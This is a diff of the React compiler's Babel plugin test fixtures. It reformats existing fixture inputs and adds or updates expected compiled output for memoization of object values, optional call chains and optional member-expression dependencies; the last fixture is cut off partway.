diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.js
index 6d5c97ce7e60..4aa21f7c7f66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.js
@@ -1,6 +1,6 @@
 function foo(a, b, c) {
   const x = a.x;
-  const y = { ...b.c.d };
+  const y = {...b.c.d};
   y.z = c.d.e;
   foo(a.b.c);
   [a.b.c];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.expect.md
index 213f7a01f3f5..6b9ca0c2317b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { createHookWrapper } from "shared-runtime";
-function useHook({ a, b }) {
+import {createHookWrapper} from 'shared-runtime';
+function useHook({a, b}) {
   return {
     x: function () {
       return [a];
@@ -16,7 +16,7 @@ function useHook({ a, b }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.js
index a211783e770c..7ec6b24bb4f0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-1.js
@@ -1,5 +1,5 @@
-import { createHookWrapper } from "shared-runtime";
-function useHook({ a, b }) {
+import {createHookWrapper} from 'shared-runtime';
+function useHook({a, b}) {
   return {
     x: function () {
       return [a];
@@ -12,5 +12,5 @@ function useHook({ a, b }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.expect.md
index 271f0269de5b..0a0383e93a52 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.expect.md
@@ -2,21 +2,21 @@
 ## Input
 
 ```javascript
-import { createHookWrapper } from "shared-runtime";
+import {createHookWrapper} from 'shared-runtime';
 
-function useHook({ a, b, c }) {
+function useHook({a, b, c}) {
   return {
     x: [a],
     y() {
       return [b];
     },
-    z: { c },
+    z: {c},
   };
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ a: 1, b: 2, c: 2 }],
+  params: [{a: 1, b: 2, c: 2}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.js
index b97534438989..faf33dfeedff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-2.js
@@ -1,16 +1,16 @@
-import { createHookWrapper } from "shared-runtime";
+import {createHookWrapper} from 'shared-runtime';
 
-function useHook({ a, b, c }) {
+function useHook({a, b, c}) {
   return {
     x: [a],
     y() {
       return [b];
     },
-    z: { c },
+    z: {c},
   };
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ a: 1, b: 2, c: 2 }],
+  params: [{a: 1, b: 2, c: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.expect.md
index 0788c0d9a83c..dc1cd699d295 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
-import { createHookWrapper } from "shared-runtime";
+import {useState} from 'react';
+import {createHookWrapper} from 'shared-runtime';
 
-function useHook({ value }) {
+function useHook({value}) {
   const [state] = useState(false);
 
   return {
@@ -23,7 +23,7 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
@@ -40,7 +40,7 @@ function useHook(t0) {
   const { value } = t0;
   const [state] = useState(false);
   let t1;
-  if ($[0] !== value || $[1] !== state) {
+  if ($[0] !== state || $[1] !== value) {
     t1 = {
       getX() {
         return {
@@ -52,8 +52,8 @@ function useHook(t0) {
         };
       },
     };
-    $[0] = value;
-    $[1] = state;
+    $[0] = state;
+    $[1] = value;
     $[2] = t1;
   } else {
     t1 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.js
index 6834afda17ea..64cbac9ea5e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-shorthand-method-nested.js
@@ -1,7 +1,7 @@
-import { useState } from "react";
-import { createHookWrapper } from "shared-runtime";
+import {useState} from 'react';
+import {createHookWrapper} from 'shared-runtime';
 
-function useHook({ value }) {
+function useHook({value}) {
   const [state] = useState(false);
 
   return {
@@ -19,5 +19,5 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.expect.md
new file mode 100644
index 000000000000..bc541b47f1f5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const entries = Object.entries(object);
+  entries.map(([, value]) => {
+    value.updated = true;
+  });
+  return <Stringify entries={entries} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeObject_Primitives, Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.object) {
+    const object = { object: props.object };
+    const entries = Object.entries(object);
+    entries.map(_temp);
+    t0 = <Stringify entries={entries} />;
+    $[0] = props.object;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+function _temp(t0) {
+  const [, value] = t0;
+  value.updated = true;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ object: { key: makeObject_Primitives() } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"entries":[["object",{"key":{"a":0,"b":"value1","c":true},"updated":true}]]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.js
new file mode 100644
index 000000000000..2902cffd014f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values-mutation.js
@@ -0,0 +1,15 @@
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const entries = Object.entries(object);
+  entries.map(([, value]) => {
+    value.updated = true;
+  });
+  return <Stringify entries={entries} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.expect.md
new file mode 100644
index 000000000000..900399066413
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.expect.md
@@ -0,0 +1,103 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component({items}) {
+  const record = useMemo(
+    () =>
+      Object.fromEntries(
+        items.map(item => [
+          item.id,
+          {id: item.id, render: ref => <Stringify ref={ref} {...item} />},
+        ])
+      ),
+    [items]
+  );
+
+  // Without a declaration for Object.entries(), this would be assumed to mutate
+  // `record`, meaning existing memoization couldn't be preserved
+  return (
+    <div>
+      {Object.values(record).map(({id, render}) => (
+        <Stringify key={id} render={render} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: '0', name: 'Hello'},
+        {id: '1', name: 'World!'},
+      ],
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useMemo } from "react";
+import { Stringify } from "shared-runtime";
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component(t0) {
+  const $ = _c(4);
+  const { items } = t0;
+  let t1;
+  if ($[0] !== items) {
+    t1 = Object.fromEntries(items.map(_temp));
+    $[0] = items;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const record = t1;
+  let t2;
+  if ($[2] !== record) {
+    t2 = <div>{Object.values(record).map(_temp2)}</div>;
+    $[2] = record;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp2(t0) {
+  const { id, render } = t0;
+  return <Stringify key={id} render={render} />;
+}
+function _temp(item) {
+  return [
+    item.id,
+    { id: item.id, render: (ref) => <Stringify ref={ref} {...item} /> },
+  ];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        { id: "0", name: "Hello" },
+        { id: "1", name: "World!" },
+      ],
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><div>{"render":"[[ function params=1 ]]"}</div><div>{"render":"[[ function params=1 ]]"}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.js
new file mode 100644
index 000000000000..4cf229c379a5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-values.js
@@ -0,0 +1,39 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component({items}) {
+  const record = useMemo(
+    () =>
+      Object.fromEntries(
+        items.map(item => [
+          item.id,
+          {id: item.id, render: ref => <Stringify ref={ref} {...item} />},
+        ])
+      ),
+    [items]
+  );
+
+  // Without a declaration for Object.entries(), this would be assumed to mutate
+  // `record`, meaning existing memoization couldn't be preserved
+  return (
+    <div>
+      {Object.values(record).map(({id, render}) => (
+        <Stringify key={id} render={render} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: '0', name: 'Hello'},
+        {id: '1', name: 'World!'},
+      ],
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/option-enable-change-variable-codegen.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/option-enable-change-variable-codegen.expect.md
deleted file mode 100644
index e849878f78fb..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/option-enable-change-variable-codegen.expect.md
+++ /dev/null
@@ -1,47 +0,0 @@
-
-## Input
-
-```javascript
-// @enableChangeVariableCodegen
-function Component(props) {
-  const c_0 = [props.a, props.b.c];
-  return c_0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 3.14, b: { c: true } }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableChangeVariableCodegen
-function Component(props) {
-  const $ = _c(3);
-  const c_00 = $[0] !== props.a;
-  const c_1 = $[1] !== props.b.c;
-  let t0;
-  if (c_00 || c_1) {
-    t0 = [props.a, props.b.c];
-    $[0] = props.a;
-    $[1] = props.b.c;
-    $[2] = t0;
-  } else {
-    t0 = $[2];
-  }
-  const c_0 = t0;
-  return c_0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 3.14, b: { c: true } }],
-};
-
-```
-      
-### Eval output
-(kind: ok) [3.14,true]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/option-enable-change-variable-codegen.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/option-enable-change-variable-codegen.js
deleted file mode 100644
index 292c1e378719..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/option-enable-change-variable-codegen.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// @enableChangeVariableCodegen
-function Component(props) {
-  const c_0 = [props.a, props.b.c];
-  return c_0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 3.14, b: { c: true } }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.expect.md
new file mode 100644
index 000000000000..60c1a427cd50
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+import {useNoAlias} from 'shared-runtime';
+
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return useNoAlias(value?.x, value?.y) ?? {};
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { useNoAlias } from "shared-runtime";
+
+function useFoo(props) {
+  const value = props.value;
+  return useNoAlias(value?.x, value?.y) ?? {};
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{ value: null }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.ts
new file mode 100644
index 000000000000..b96f6aefad5e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-logical-expr.ts
@@ -0,0 +1,11 @@
+import {useNoAlias} from 'shared-runtime';
+
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return useNoAlias(value?.x, value?.y) ?? {};
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.expect.md
new file mode 100644
index 000000000000..c8c2a77fff6a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+import {useNoAlias} from 'shared-runtime';
+
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return useNoAlias(value?.x, value?.y) ? {} : null;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { useNoAlias } from "shared-runtime";
+
+function useFoo(props) {
+  const value = props.value;
+  return useNoAlias(value?.x, value?.y) ? {} : null;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{ value: null }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.ts
new file mode 100644
index 000000000000..ac5302da00c5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.ts
@@ -0,0 +1,11 @@
+import {useNoAlias} from 'shared-runtime';
+
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return useNoAlias(value?.x, value?.y) ? {} : null;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.expect.md
index 7f547f7db417..fa6f8cd9bc66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.expect.md
@@ -2,9 +2,18 @@
 ## Input
 
 ```javascript
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
-  const item = useFragment(graphql`...`, props.item);
-  return item.items?.map((item) => renderItem(item)) ?? [];
+  const item = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.item
+  );
+  return item.items?.map(item => renderItem(item)) ?? [];
 }
 
 ```
@@ -13,12 +22,21 @@ function Component(props) {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { useFragment } from "shared-runtime";
+
 function Component(props) {
   const $ = _c(2);
-  const item = useFragment(graphql`...`, props.item);
+  const item = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.item,
+  );
   let t0;
   if ($[0] !== item.items) {
-    t0 = item.items?.map((item_0) => renderItem(item_0)) ?? [];
+    t0 = item.items?.map(_temp) ?? [];
     $[0] = item.items;
     $[1] = t0;
   } else {
@@ -26,6 +44,9 @@ function Component(props) {
   }
   return t0;
 }
+function _temp(item_0) {
+  return renderItem(item_0);
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.js
index 41a1d8673430..6fa11a2dab49 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.js
@@ -1,4 +1,13 @@
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
-  const item = useFragment(graphql`...`, props.item);
-  return item.items?.map((item) => renderItem(item)) ?? [];
+  const item = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.item
+  );
+  return item.items?.map(item => renderItem(item)) ?? [];
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-independently-memoizable-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-independently-memoizable-arg.expect.md
index 2f93ccd27586..b313cc20762e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-independently-memoizable-arg.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-independently-memoizable-arg.expect.md
@@ -27,7 +27,6 @@ function Component(props) {
   let t0;
   if ($[0] !== props) {
     const x = makeOptionalFunction(props);
-
     t0 = x?.(
       <div>
         <span>{props.text}</span>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-optional-property-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-optional-property-load.expect.md
index 795ab61cca99..d95461adf90e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-optional-property-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-optional-property-load.expect.md
@@ -15,9 +15,9 @@ import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(2);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props?.items) {
     t0 = props?.items?.map?.(render)?.filter(Boolean) ?? [];
-    $[0] = props;
+    $[0] = props?.items;
     $[1] = t0;
   } else {
     t0 = $[1];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.expect.md
new file mode 100644
index 000000000000..4c2bced216ff
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.expect.md
@@ -0,0 +1,96 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {identity, ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+
+function Component({arg}) {
+  const data = useMemo(() => {
+    return arg?.items.edges?.nodes.map(identity);
+  }, [arg?.items.edges?.nodes]);
+  return (
+    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />
+  );
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: null}],
+  sequentialRenders: [
+    {arg: null},
+    {arg: null},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import { identity, ValidateMemoization } from "shared-runtime";
+import { useMemo } from "react";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { arg } = t0;
+
+  arg?.items.edges?.nodes;
+  let t1;
+  if ($[0] !== arg?.items.edges?.nodes) {
+    t1 = arg?.items.edges?.nodes.map(identity);
+    $[0] = arg?.items.edges?.nodes;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const data = t1;
+
+  const t2 = arg?.items.edges?.nodes;
+  let t3;
+  if ($[2] !== t2) {
+    t3 = [t2];
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  let t4;
+  if ($[4] !== data || $[5] !== t3) {
+    t4 = <ValidateMemoization inputs={t3} output={data} />;
+    $[4] = data;
+    $[5] = t3;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arg: null }],
+  sequentialRenders: [
+    { arg: null },
+    { arg: null },
+    { arg: { items: { edges: null } } },
+    { arg: { items: { edges: null } } },
+    { arg: { items: { edges: { nodes: [1, 2, "hello"] } } } },
+    { arg: { items: { edges: { nodes: [1, 2, "hello"] } } } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[null]}</div>
+<div>{"inputs":[null]}</div>
+<div>{"inputs":[null]}</div>
+<div>{"inputs":[null]}</div>
+<div>{"inputs":[[1,2,"hello"]],"output":[1,2,"hello"]}</div>
+<div>{"inputs":[[1,2,"hello"]],"output":[1,2,"hello"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.js
new file mode 100644
index 000000000000..73f0f4d421a4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.js
@@ -0,0 +1,24 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {identity, ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+
+function Component({arg}) {
+  const data = useMemo(() => {
+    return arg?.items.edges?.nodes.map(identity);
+  }, [arg?.items.edges?.nodes]);
+  return (
+    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />
+  );
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: null}],
+  sequentialRenders: [
+    {arg: null},
+    {arg: null},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.expect.md
index 5a2a90b29650..8c705f617492 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.expect.md
@@ -7,13 +7,13 @@
 function Component(props) {
   let x = props?.b.c;
   let y = props?.b.c.d?.e.f.g?.h;
-  return { x, y };
+  return {x, y};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.js
index 0f795d17ae51..065bc894d96d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.js
@@ -3,11 +3,11 @@
 function Component(props) {
   let x = props?.b.c;
   let y = props?.b.c.d?.e.f.g?.h;
-  return { x, y };
+  return {x, y};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.expect.md
new file mode 100644
index 000000000000..73c88e2c493c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.a.b?.c.d?.e);
+    x.push(props.a?.b.c?.d.e);
+    return x;
+  }, [props.a.b.c.d.e]);
+  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import { ValidateMemoization } from "shared-runtime";
+function Component(props) {
+  const $ = _c(2);
+
+  const x$0 = [];
+  x$0.push(props?.a.b?.c.d?.e);
+  x$0.push(props.a?.b.c?.d.e);
+  let t0;
+  if ($[0] !== props.a.b.c.d.e) {
+    t0 = <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;
+    $[0] = props.a.b.c.d.e;
+    $[1] = t0;
